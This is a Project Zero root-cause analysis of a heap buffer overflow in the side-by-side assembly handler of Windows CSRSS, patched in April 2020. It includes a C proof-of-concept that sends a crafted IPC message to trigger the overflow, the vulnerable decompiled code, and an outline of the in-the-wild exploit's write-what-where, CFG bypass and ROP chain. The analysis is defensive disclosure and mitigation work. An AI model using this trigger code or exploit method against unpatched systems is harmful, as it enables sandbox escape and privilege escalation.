Sergei Glazunov, Project Zero (Originally posted on Project Zero blog 2021-01-12)

The Basics

Disclosure or Patch Date:

  • 23 March 2020 – advisory without technical details
  • 14 April 2020 – security bulletin and patch release

Product: Microsoft Windows

Advisory:

Affected Versions: Windows 7 through 10, prior to the April 2020 patch

First Patched Version: Windows with April 2020 patch (e.g. for Windows 10 1909/1903, KB4549951).

Issue/Bug Report: N/A

Patch CL: N/A

Bug-Introducing CL: N/A

Reporter(s): Google: Project Zero and Threat Analysis Group

The Code

Proof-of-concept:

#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>

const char* MANIFEST_CONTENTS =
    "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
    "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
    "<assemblyIdentity name='@' version='1.0.0.0' type='win32' "
    "processorArchitecture='amd64'/>"
    "</assembly>";

const WCHAR* NULL_BYTE_STR = L"\x00\x00";
const WCHAR* MANIFEST_NAME =
  L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"
  L"d761caeca23d64a2.manifest";
const WCHAR* PATH = L"\\\\.\\c:Windows\\";
const WCHAR* MODULE = L"System.Data.SqlXml.Resources";

typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
                                                     ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;

typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
                                                   PVOID CaptureBuffer,
                                                   ULONG ApiNumber,
                                                   ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;

typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
                                                       PCSTR String,
                                                       ULONG Length,
                                                       ULONG MaximumLength,
                                                       PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;

NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
                              PCWSTR String, ULONG Length = 0) {
  if (Length == 0) {
    Length = lstrlenW(String);
  }
  return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
                                 Length * 2 + 2, OutputString);
}

int main() {
  HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");
  CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
      Ntdll, "CsrAllocateCaptureBuffer");
  CsrClientCallServer =
      (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");
  CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
      Ntdll, "CsrCaptureMessageString");

  char Message[0x220];
  memset(Message, 0, 0x220);

  PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);

  std::string Manifest = MANIFEST_CONTENTS;
  Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');

  // There's no public definition of the relevant CSR_API_MSG structure.
  // The offsets and values are taken directly from the exploit.
  *(uint32_t*)(Message + 0x40) = 0xc1;
  *(uint16_t*)(Message + 0x44) = 9;
  *(uint16_t*)(Message + 0x59) = 0x201;

  // CSRSS loads the manifest contents from the client process memory;
  // therefore, it doesn't have to be stored in the capture buffer.
  *(const char**)(Message + 0x80) = Manifest.c_str();
  *(uint64_t*)(Message + 0x88) = Manifest.size();
  *(uint64_t*)(Message + 0xf0) = 1;

  CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
  CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
  CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
  CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);

  // Triggers the issue by setting ApplicationName.MaxLength to a large value.
  *(uint16_t*)(Message + 0x122) = 0x8000;

  CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? Yes

The Vulnerability

Bug class: Heap buffer overflow

Vulnerability details:

The vulnerability has been discovered in the side-by-side assembly component of CSRSS. The affected function sxssrv!BaseSrvSxsCreateActivationContext parses an XML manifest into a binary data structure called an activation context. By default, the function is accessible from any Windows process through ALPC.

The relevant IPC message object contains several UNICODE_STRING members. UNICODE_STRING is a well-known mutable string structure with a separate field to keep the capacity of the backing store:

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

For each string parameter, the function verifies that the result of the expression Buffer + Length doesn’t point past the end of the IPC buffer. Unfortunately, there is no similar check for the MaximumLength field. When the execution reaches the function sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity, it relies on the unchecked MaximumLength value to determine whether a memcpy call should be allowed because one of the strings (offset 0x120 from the beginning of the IPC message on Windows 10.0.18363.959) is reused as an output parameter:

IdentityNameBuffer = 0;
IdentityNameLength = 0;
 
SetLastError(0);
if (!SxspGetAssemblyIdentityAttributeValue(0, v11, &s_IdentityAttribute_name,
                                           &IdentityNameBuffer, &IdentityNameLength)) {
    CallSiteInfo = off_16506FA20;
    goto error;
}

if (IdentityNameLength && IdentityNameLength < Context->ApplicationNameCapacity) {
    memcpy(Context->ApplicationNameBuffer, IdentityNameBuffer, 2 * IdentityNameLength + 2);
    Context->ApplicationNameLength = IdentityNameLength;
} else {
    *Context->ApplicationNameBuffer = 0;
    Context->ApplicationNameLength = 0;
}

As a result, the attacker gains the ability to trigger buffer overflow in memcpy with fully controlled contents and size of both the source and destination buffers.

Patch analysis: N/A

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

The issue could have been found during a manual audit of IPC handlers in CSRSS.

(Historical/present/future) context of bug:

This vulnerability was used in an exploit chain together with a 0-day vulnerability in Chrome (CVE-2020-6418). For older OS versions, even though they were also affected, the attacker would pair CVE-2020-6418 with a different privilege escalation exploit (CVE-2020-1020 and CVE-2020-0938).

The Exploit

Is this exploit know? Yes

Exploit method:

  1. The attacker exploits the issue to overwrite the contents of several _MY_XML_NODE_INFO objects and implement the write-what-where primitive.
  2. The write-what-where is used to overwrite the module list head in PEB_LDR_DATA.
  3. The fake module list initiates a code-reuse attack. Due to the presence of Control Flow Guard, the attacker can only call existing functions with one controlled argument. Nevertheless, it’s sufficient to bypass CFG and transition to a classic ROP chain.

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

A manual review of all CSRSS routines that make use of the UNICODE_STRING structure.

Found variants: None

Structural improvements

Given that the issue was used as a sandbox escape in a browser exploit chain, it’s recommended to reduce the attack surface by blocking the communication between CSRSS and sandboxed processes completely.

0-day detection methods

This is a classic buffer overflow vulnerability; therefore, a memory sanitizer could have easily detected an attempt to exploit it.

Other References